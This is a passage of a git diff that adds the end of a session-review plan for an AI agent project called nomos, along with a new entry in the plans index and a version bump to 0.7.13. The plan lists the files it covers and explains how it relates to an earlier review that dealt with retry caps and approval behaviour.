+- `cmd/nomos/agent.go` — agent loop, retry behavior, goal state
+- `cmd/nomos/eval/main.go:302` — comment calling out the
+  `/sessions/{id}` "only session_id + messages" gap
+- `internal/policy/*` — risk-class classifier (target of P0.1)
+- `internal/mcp/server.go` — `run` tool, `preflight` (entity-scoped), all
+  MCP tool implementations
+- `nomos/SOUL.md` — agent persona, tool-selection rules
+- `.agents/skills/session-review/SKILL.md` — the audit protocol
+- `plans/2026-07-18-session-review-three-sessions.md` — prior review;
+  three sessions overlap with this one
+
+---
+
+## Relationship to the 2026-07-18 review
+
+That review's P0.1 (retry cap), P0.2 (investigate-before-retry SOUL
+guidance), P1.3 (runbook capture), P1.5 (bulk inspection tool),
+P1.6 (`vm:` target support), P1.8 (ask-before-migrate) all landed or
+are tracked separately. This review does **not** re-open them. The
+remaining open items from that review are P1.7 (approval window
+auto-extends on execution timeout) and P2.9 (long-running command
+PENDING detection), both deferred there with rationale; this review
+found no new evidence that would change that deferral.
--- a/plans/index.md
+++ b/plans/index.md
@@ -19,6 +19,7 @@ went sideways, open an investigation.
 | 2026-07-17 | [Codebase review, lint audit, and documentation maintenance](2026-07-17-codebase-review-and-cleanup.md) | Report delivered — doc/tooling fixes applied; code refactors pending |
 | 2026-07-18 | [Session review: three recent sessions](2026-07-18-session-review-three-sessions.md) | Implemented in v0.7.12 — P0.1/P0.2/P1.3/P1.4/P1.5/P1.6/P1.8/P2.10; P1.7 and P2.9 deferred (retry cap covers) |
 | 2026-07-20 | [Desktop mascot ("Cluck")](2026-07-20-desktop-mascot.md) | Planned — not started |
+| 2026-07-20 | [Session review: past 10 sessions](2026-07-20-session-review-ten-sessions.md) | Implemented in v0.7.13 — all P0/P1/P2 items landed |

 ## Done
@@ -1 +1 @@
 .7.12
 .7.13